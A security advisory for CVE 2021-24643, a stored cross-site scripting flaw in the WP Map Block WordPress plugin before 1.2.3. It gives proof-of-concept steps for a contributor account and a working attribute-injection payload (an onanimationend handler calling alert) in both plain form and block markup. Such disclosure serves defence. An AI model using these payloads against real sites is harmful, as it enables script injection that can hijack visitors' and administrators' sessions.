WP Map Block < 1.2.3 – Contributor+ Stored Cross-Site Scripting | CVE 2021-24643

Description

The plugin does not escape some attributes of the WP Map Block, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks

Proof of Concept

- As a contributor, add a WP Map Block to a post/page
- Click "Show more settings"
- Scroll the sidebar and click "Map Marker"
- Click "Marker 1"
- Paste the following as "Title": ' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'
- Save and view/preview to trigger the XSS (the payload is specific to the TwentyTwentyOne theme but could be changed)

<!-- wp:wpmapblock/wp-map-block {"map_id":"wpmapblock_0","map_marker_list":[{"lat":23.7806365,"lng":90.4193257,"title":"Bangladesh' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'","content":"A Beautiful Country","iconType":"default","customIconUrl":"","customIconWidth":25,"customIconHeight":40}]} /-->